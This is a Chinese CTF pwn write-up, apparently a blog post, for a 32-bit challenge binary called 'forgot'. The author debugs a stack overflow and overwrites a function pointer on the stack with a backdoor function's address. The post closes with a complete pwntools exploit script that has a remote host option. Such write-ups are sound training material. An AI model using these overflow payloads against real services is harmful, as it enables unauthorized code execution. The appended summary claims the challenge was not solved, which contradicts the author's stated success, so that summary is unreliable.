哈哈哈,讲下这题的思路,拿到题目又是一大堆的字符串显示在控制台上,本想着又是一道逻辑题,披着逆向算法的外套,害,没办法继续分析
前面输入name用了fgets函数但是限制输入长度了,所以直接忽略,然后就是输入一个数对其进行简单的小算法了,我显示分析了一波算法,然后根据出题人的提示说这个,但是我好像还是摸不清题目的漏洞在哪里,就一直摸摸摸,先是简单的看了下全局伪代码,加上程序运行状况,发现你输入的数就算是通过了9层判断条件好像也是一样的打印一些字符串

这十个函数里面都是一样的没什么区别
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2bC7XCZd-1637048344211)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116143753691.png)]](https://i-blog.csdnimg.cn/blog_migrate/feddf106384a9cf7bf714edc71e19581.png)
然后出题人那个提示我也不知道有什么关系,可能是我太菜了,没有找到题目真正的考点吧。。。发现程序没有什么特别之处,就直接进行溢出了
编写溢出payload代码
z('b *0x8048a61')
sla('> ','admin')
payload = b'a'*0x74 + b'a' * 4 + p32(0x80486CC)
sla('> ',payload)
运行后发现程序在这个地方卡住了
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VZpwFYHo-1637048344212)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116145723577.png)]](https://i-blog.csdnimg.cn/blog_migrate/8986d6befd42173c284dd4c68a20bc39.png)
看了下这时候的栈发现实际情况少填充了4位
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YSPwh9bx-1637048344213)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116145858096.png)]](https://i-blog.csdnimg.cn/blog_migrate/6feaebe7ea285c1a1a61edd8d7fe450e.png)
但是我添加了4位数据后,程序依旧卡死在这个地方了,然后我就在这个地方下断点看看正常情况下这里的数据是什么
修改后payload
z('b *0x8048a61')
sla('> ','admin')
payload = b'aaaa'
sla('> ',payload)
p.interactive()
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yqcb1dkR-1637048344215)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116150151492.png)]](https://i-blog.csdnimg.cn/blog_migrate/40561fc1b0315b5a82010289f84b728f.png)
发现它call了0x8048618,然后就跳转到这个地址了,上面一行发现这个值就是从栈里面取得,那么看看栈
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-peTEq2oU-1637048344216)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116153402998.png)]](https://i-blog.csdnimg.cn/blog_migrate/436ddbf95f776f40e29d9cef17a1c93b.png)
这里不就是那十个变量的位置吗,那么根据ida得出相对距离,对刚才0x8048618地址进行覆盖成后门函数的地址
z('b *0x8048a61')
sla('> ','admin')
payload = b'a' * (0x78-0x54) + p32(0x80486CC)
ok获取flag
最终payload
from pwn import *
from LibcSearcher import *
context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
#context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
# Interface
local = 1
binary_name = "forgot"
ip = "111.200.241.244"
port = 52418
if local:
p = process(["./" + binary_name])
e = ELF("./" + binary_name)
# libc = e.libc
else:
p = remote(ip, port)
e = ELF("./" + binary_name)
# libc = ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
z('b *0x8048a61')
sla('> ','admin')
payload = b'a' * (0x78-0x54) + p32(0x80486CC)
sla('> ',payload)
p.interactive()
博主在分析一道逻辑题时,发现程序可能存在栈溢出漏洞。通过观察输入限制和算法,尝试构造溢出payload,目标是覆盖栈上的返回地址。在调试过程中,定位到程序卡住的地方,并发现可以覆盖栈上特定位置的值来改变调用流程。最终,通过填充特定长度的数据成功影响了程序执行,但未能完全解决题目。博客探讨了溢出攻击的步骤和思路,以及在调试过程中的观察和尝试。
377

被折叠的 条评论
为什么被折叠?



